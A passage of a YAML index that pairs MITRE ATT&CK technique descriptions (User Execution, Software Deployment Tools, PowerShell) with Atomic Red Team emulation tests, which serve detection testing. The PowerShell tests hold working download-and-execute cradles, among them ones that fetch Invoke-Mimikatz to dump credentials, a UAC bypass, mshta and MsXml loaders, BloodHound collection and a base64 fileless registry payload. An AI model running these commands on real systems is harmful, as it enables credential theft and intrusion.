      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: XPC Services
      x_mitre_detection: ''
      kill_chain_phases:
      - phase_name: execution
        kill_chain_name: mitre-attack
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Process: Process Access'
      x_mitre_remote_support: false
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1204:
    technique:
      modified: '2024-04-12T03:46:49.507Z'
      name: User Execution
      description: |-
        An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).

        While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).

        Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)

        For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Oleg Skulkin, Group-IB
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.

        Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - IaaS
      - Containers
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Instance: Instance Start'
      - 'File: File Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Container: Container Creation'
      - 'Instance: Instance Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Image: Image Creation'
      - 'Application Log: Application Log Content'
      - 'Container: Container Start'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1204
        external_id: T1204
      - source_name: Krebs Discord Bookmarks 2023
        description: Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious
          Bookmarks. Retrieved January 2, 2024.
        url: https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/
      - source_name: Telephone Attack Delivery
        description: 'Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November
          4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery.
          Retrieved January 5, 2022.'
        url: https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery
      - source_name: Talos Roblox Scam 2023
        description: Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs,
          API forms and more to scam users in popular online game “Roblox”. Retrieved
          January 2, 2024.
        url: https://blog.talosintelligence.com/roblox-scam-overview/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1072:
    technique:
      modified: '2024-04-12T03:40:37.954Z'
      name: Software Deployment Tools
      description: "Adversaries may gain access to and use centralized software suites
        installed within an enterprise to execute commands and move laterally through
        the network. Configuration management and software deployment applications
        may be used in an enterprise network or cloud environment for routine administration
        purposes. These systems may also be integrated into CI/CD pipelines. Examples
        of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft
        Intune, Azure Arc, and GCP Deployment Manager.  \n\nAccess to network-wide
        or enterprise-wide endpoint management software may enable an adversary to
        achieve remote code execution on all connected systems. The access may be
        used to laterally move to other systems, gather information, or cause a specific
        effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration
        management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)
        on cloud-hosted instances, as well as the execution of arbitrary commands
        on on-premises endpoints. For example, Microsoft Configuration Manager allows
        Global or Intune Administrators to run scripts as SYSTEM on on-premises devices
        joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem
        AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001)
        to communicate back to adversary owned infrastructure.(Citation: Mitiga Security
        Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices
        may also have configuration management tools that can be similarly abused
        by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected
        Chinese Actor in Espionage Operation)\n\nThe permissions required for this
        action vary by system configuration; local credentials may be sufficient with
        direct access to the third-party system, or specific domain credentials may
        be required. However, the system may require an administrative account to
        log in or to access specific functionality."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Shane Tully, @securitygypsy
      - Joe Gumke, U.S. Bank
      - Tamir Yehuda
      x_mitre_deprecated: false
      x_mitre_detection: "Detection methods will vary depending on the type of third-party
        software or system and how it is typically used. \n\nThe same investigation
        process can be applied here as with other potentially malicious activities
        where the distribution vector is initially unknown but the resulting activity
        follows a discernible pattern. Analyze the process execution trees, historical
        activities from the third-party application (such as what types of files are
        usually pushed), and the resulting activities or events from the file/binary/script
        pushed to systems. \n\nOften these third-party applications will have logs
        of their own that can be collected and correlated with other data from the
        environment. Ensure that third-party application logs are on-boarded to the
        enterprise logging system and the logs are regularly reviewed. Audit software
        deployment logs and look for suspicious or unauthorized activity. A system
        not typically used to push software to clients that suddenly is used for such
        a task outside of a known admin function may be suspicious. Monitor account
        login activity on these applications to detect suspicious/abnormal usage.\n\nPerform
        application deployment at regular times so that irregular deployment activity
        stands out. Monitor process activity that does not correlate to known good
        software. Monitor account login activity on the deployment system."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      - SaaS
      x_mitre_version: '3.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Application Log: Application Log Content'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414
      created: '2017-05-31T21:30:57.201Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1072
        external_id: T1072
      - source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese
          Actor in Espionage Operation
        description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD
          UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware
          Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15,
          2023.
        url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
      - source_name: SpecterOps Lateral Movement from Azure to On-Prem AD 2020
        description: 'Andy Robbins. (2020, August 17). Death from Above: Lateral Movement
          from Azure to On-Prem AD. Retrieved March 13, 2023.'
        url: https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d
      - source_name: 'Mitiga Security Advisory: SSM Agent as Remote Access Trojan'
        description: 'Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing
          the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.'
        url: https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1072
    atomic_tests:
    - name: Radmin Viewer Utility
      auto_generated_guid: b4988cad-6ed2-434d-ace5-ea2670782129
      description: 'An adversary may use Radmin Viewer Utility to remotely control
        Windows device, this will start the radmin console.

        '
      supported_platforms:
      - windows
      input_arguments:
        radmin_installer:
          description: Radmin Viewer installer
          type: path
          default: RadminViewer.msi
        radmin_exe:
          description: The radmin.exe executable from RadminViewer.msi
          type: path
          default: Radmin Viewer 3/Radmin.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Radmin Viewer Utility must be installed at specified location
          (#{radmin_exe})

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{radmin_exe}") {exit
          0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading radmin installer
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}"
          Write-Host Install Radmin
          Start-Process msiexec  -Wait -ArgumentList /i , "PathToAtomicsFolder\..\ExternalPayloads\#{radmin_installer}", /qn
      executor:
        name: command_prompt
        elevation_required: true
        command: '"%PROGRAMFILES(x86)%/#{radmin_exe}"

          '
    - name: PDQ Deploy RAT
      auto_generated_guid: e447b83b-a698-4feb-bed1-a7aaf45c3443
      description: 'An adversary may use PDQ Deploy Software to deploy the Remote
        Adminstartion Tool, this will start the PDQ console.

        '
      supported_platforms:
      - windows
      input_arguments:
        PDQ_Deploy_installer:
          description: PDQ Deploy Install
          type: path
          default: PDQDeploysetup.exe
        PDQ_Deploy_exe:
          description: The PDQDeployConsole.exe executable from PDQDeploysetup.exe
          type: path
          default: Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading PDQ Deploy installer
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.pdq.com/release/19/Deploy_19.3.350.0.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}"
          Write-Host Install PDQ Deploy
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\#{PDQ_Deploy_installer}" -Wait -ArgumentList "/s"
      executor:
        name: command_prompt
        elevation_required: true
        command: '"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}"

          '
    - name: Deploy 7-Zip Using Chocolatey
      auto_generated_guid: 2169e8b0-2ee7-44cb-8a6e-d816a5db7d8a
      description: 'An adversary may use Chocolatey to remotely deploy the 7-Zip file
        archiver utility.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chocolatey must be installed to deploy 7-Zip.

          '
        prereq_command: 'if (Test-Path "${env:ProgramFiles(x86)}\Chocolatey\choco.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Write-Host Downloading Chocolatey installer
          Invoke-WebRequest -Uri "https://chocolatey.org/install.ps1" -OutFile "chocolatey-install.ps1"
          Write-Host Installing Chocolatey
          Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File chocolatey-install.ps1" -Wait
      executor:
        name: powershell
        elevation_required: false
        command: |
          # Deploy 7-Zip using Chocolatey
          choco install -y 7zip
  T1059.001:
    technique:
      modified: '2024-03-01T18:01:37.575Z'
      name: 'Command and Scripting Interpreter: PowerShell'
      description: |-
        Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

        PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

        A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)

        PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Mayuresh Dani, Qualys
      - Praetorian
      - Ross Brittain
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.

        Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)

        It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.

        Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736
      created: '2020-03-09T13:48:55.078Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/001
        external_id: T1059.001
      - source_name: Microsoft PSfromCsharp APR 2014
        description: Babinec, K. (2014, April 28). Executing PowerShell scripts from
          C#. Retrieved April 22, 2019.
        url: https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/
      - source_name: SilentBreak Offensive PS Dec 2015
        description: Christensen, L.. (2015, December 28). The Evolution of Offensive
          PowerShell Invocation. Retrieved December 8, 2018.
        url: https://web.archive.org/web/20190508170150/https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/
      - source_name: FireEye PowerShell Logging 2016
        description: Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH
          POWERSHELL LOGGING. Retrieved February 16, 2016.
        url: https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
      - source_name: Github PSAttack
        description: Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.
        url: https://github.com/jaredhaight/PSAttack
      - source_name: inv_ps_attacks
        description: Hastings, M. (2014, July 16). Investigating PowerShell Attacks.
          Retrieved December 1, 2021.
        url: https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
      - source_name: Malware Archaeology PowerShell Cheat Sheet
        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
        url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
      - source_name: TechNet PowerShell
        description: Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April
          28, 2016.
        url: https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx
      - source_name: Sixdub PowerPick Jan 2016
        description: Warner, J.. (2015, January 6). Inexorable PowerShell – A Red
          Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December
          8, 2018.
        url: https://web.archive.org/web/20160327101330/http://www.sixdub.net/?p=367
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059.001
    atomic_tests:
    - name: Mimikatz
      auto_generated_guid: f3132740-55bc-48c4-bcc0-758a459cd027
      description: 'Download Mimikatz and dump credentials. Upon execution, mimikatz
        dump details and password hashes will be displayed.

        '
      supported_platforms:
      - windows
      input_arguments:
        mimurl:
          description: Mimikatz url
          type: url
          default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
      executor:
        command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}'');
          Invoke-Mimikatz -DumpCreds"

          '
        name: command_prompt
        elevation_required: true
    - name: Run BloodHound from local disk
      auto_generated_guid: a21bb23e-e677-4ee7-af90-6931b57b6350
      description: |
        Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.

        Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'SharpHound.ps1 must be located at "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
      executor:
        command: |
          import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
          try { Invoke-BloodHound -OutputDirectory $env:Temp }
          catch { $_; exit $_.Exception.HResult}
          Start-Sleep 5
        cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force

          '
        name: powershell
    - name: Run Bloodhound from Memory using Download Cradle
      auto_generated_guid: bf8c1441-4674-4dab-8e4e-39d93d08f9b7
      description: |
        Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.

        Successful execution will produce stdout message stating "SharpHound Enumeration Completed". Upon completion, final output will be a *BloodHound.zip file.
      supported_platforms:
      - windows
      executor:
        command: |
          write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
          IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
          Invoke-BloodHound -OutputDirectory $env:Temp
          Start-Sleep 5
        cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force

          '
        name: powershell
    - name: Mimikatz - Cradlecraft PsSendKeys
      auto_generated_guid: af1800cf-9f9d-4fd1-a709-14b1e6de020d
      description: 'Run mimikatz via PsSendKeys. Upon execution, automated actions
        will take place to open file explorer, open notepad and input code, then mimikatz
        dump info will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: "$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object
          -ComObject WScript.Shell;$reg='HKCU:\\Software\\Microsoft\\Notepad';$app='Notepad';$props=(Get-ItemProperty
          $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP
          $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item
          Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep
          -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds
          500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable
          _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item
          Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable
          _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item
          Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP
          $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz
          -dumpcr\n"
        name: powershell
        elevation_required: true
    - name: Invoke-AppPathBypass
      auto_generated_guid: 06a220b6-7e29-4bd8-9d07-5b4d86742372
      description: |
        Note: Windows 10 only. Upon execution windows backup and restore window will be opened.

        Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
      supported_platforms:
      - windows
      executor:
        command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'');
          Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''"

          '
        name: command_prompt
    - name: Powershell MsXml COM object - with prompt
      auto_generated_guid: 388a7340-dbc1-4c9d-8e59-b75ad8c6d5da
      description: |
        Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.

        Provided by https://github.com/mgreen27/mgreen27.github.io
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: url of payload to execute
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1
      executor:
        command: 'powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject
          MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX
          $comMsXml.ResponseText"

          '
        name: command_prompt
    - name: Powershell XML requests
      auto_generated_guid: 4396927f-e503-427b-b023-31049b9b09a6
      description: |
        Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.

        Provided by https://github.com/mgreen27/mgreen27.github.io
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: url of payload to execute
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml
      executor:
        command: '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec
          bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute
          | IEX"

          '
        name: command_prompt
    - name: Powershell invoke mshta.exe download
      auto_generated_guid: 8a2ad40b-12c7-4b25-8521-2737b0a415af
      description: |
        Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

        Provided by https://github.com/mgreen27/mgreen27.github.io
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: url of payload to execute
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/mshta.sct
      executor:
        command: 'C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()"

          '
        name: command_prompt
    - name: Powershell Invoke-DownloadCradle
      auto_generated_guid: cc50fa2a-a4be-42af-a88f-e347ba0bf4d7
      description: |
        Provided by https://github.com/mgreen27/mgreen27.github.io
        Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
      supported_platforms:
      - windows
      executor:
        steps: |
          1. Open Powershell_ise as a Privileged Account
          2. Invoke-DownloadCradle.ps1
        name: manual
    - name: PowerShell Fileless Script Execution
      auto_generated_guid: fa050f5e-bc75-4230-af73-b6fd7852cd73
      description: |
        Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
        art-marker.txt is in the folder.
      supported_platforms:
      - windows
      executor:
        command: |
          # Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
          reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
          iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
        cleanup_command: |
          Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore
          Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore
        name: powershell
    - name: NTFS Alternate Data Stream Access
      auto_generated_guid: 8e5c5532-1181-4c1d-bb79-b3a9f5dbd680
      description: 'Creates a file with an alternate data stream and simulates executing
        that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.

        '
      supported_platforms:
      - windows
      input_arguments:
        ads_file:
          description: File created to store Alternate Stream Data
          type: string
          default: "$env:TEMP\\NTFS_ADS.txt"
      dependencies:
      - description: 'Homedrive must be an NTFS drive

          '
        prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem
          -contains "NTFS") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Prereq''s for this test cannot be met automatically

          '
      executor:
        name: powershell
        command: |
          Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
          $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
          Invoke-Expression $streamcommand
        cleanup_command: 'Remove-Item #{ads_file} -Force -ErrorAction Ignore

          '
    - name: PowerShell Session Creation and Use
      auto_generated_guid: 7c1acec2-78fa-4305-a3e0-db2a54cddecd
      description: |
        Connect to a remote powershell session and interact with the host.
        Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        hostname_to_connect:
          description: The host to connect to, by default it will connect to the local
            machine
          type: string
          default: "$env:COMPUTERNAME"
      dependencies:
      - description: 'PSRemoting must be enabled

          '
        prereq_command: "Try {\n    New-PSSession -ComputerName #{hostname_to_connect}
          -ErrorAction Stop | Out-Null\n    exit 0\n} \nCatch {\n    exit 1\n}\n"
        get_prereq_command: 'Enable-PSRemoting

          '
      executor:
        name: powershell
        elevation_required: true
        command: |
          New-PSSession -ComputerName #{hostname_to_connect}
          Test-Connection $env:COMPUTERNAME
          Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
          Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
          Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
    - name: ATHPowerShellCommandLineParameter -Command parameter variations
      auto_generated_guid: 686a9785-f99b-41d4-90df-66ed515f81d7
      description: Executes powershell.exe with variations of the -Command parameter
      supported_platforms:
      - windows
      input_arguments:
        command_line_switch_type:
          description: The type of supported command-line switch to use
          type: string
          default: Hyphen
        command_param_variation:
          description: The "Command" parameter variation to use
          type: string
          default: C
      dependencies:
